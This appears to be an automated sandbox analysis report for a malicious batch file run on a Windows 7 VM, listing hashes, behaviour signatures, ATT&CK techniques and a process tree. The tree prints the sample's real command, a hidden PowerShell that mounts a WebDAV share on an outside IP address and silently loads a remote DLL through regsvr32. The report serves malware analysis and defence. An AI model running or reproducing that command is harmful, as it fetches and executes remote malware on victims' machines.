ff83e8daabc6d19fa7b967227d331950622d9c9a10334d5bc7030d0d9fd22a08

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 08:22

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General

Target

188801557063505556.bat
Size

23KB
MD5

8e9c8e3250b7a2cbe19b77dbbcdb3420
SHA1

9f7dcfb3b726549c38addb5e397dce1826d40753
SHA256

ff83e8daabc6d19fa7b967227d331950622d9c9a10334d5bc7030d0d9fd22a08
SHA512

c0f5a0640bb42fd34b92998b334aec40ca31509a3b16e93907f22c3dd3d0d27adcc9e58eba685ce3148eebdf1411e6f490e258bec6740fa3598f48abc017f3b8
SSDEEP

384:+tZmEQtnt8TcDAtJ9NPcRdUtOp7etAKqDLHj0sMqFVqkMwlmbzOtRij9O:+tZmEQtn/EPjtOwID0sM8VkWmvOtRi5O

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2732	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2788	wordpad.exe
2788	wordpad.exe
2788	wordpad.exe
2788	wordpad.exe
2788	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 2788	2236	cmd.exe	31
PID 2236 wrote to memory of 2788	2236	cmd.exe	31
PID 2236 wrote to memory of 2788	2236	cmd.exe	31
PID 2236 wrote to memory of 2732	2236	cmd.exe	32
PID 2236 wrote to memory of 2732	2236	cmd.exe	32
PID 2236 wrote to memory of 2732	2236	cmd.exe	32
PID 2732 wrote to memory of 2440	2732	powershell.exe	34
PID 2732 wrote to memory of 2440	2732	powershell.exe	34
PID 2732 wrote to memory of 2440	2732	powershell.exe	34
PID 2732 wrote to memory of 2556	2732	powershell.exe	35
PID 2732 wrote to memory of 2556	2732	powershell.exe	35
PID 2732 wrote to memory of 2556	2732	powershell.exe	35
PID 2732 wrote to memory of 2556	2732	powershell.exe	35
PID 2732 wrote to memory of 2556	2732	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\188801557063505556.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\15998104686307.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2440
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\15998104686307.dll
    3⤵
    PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2732-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2732-24-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download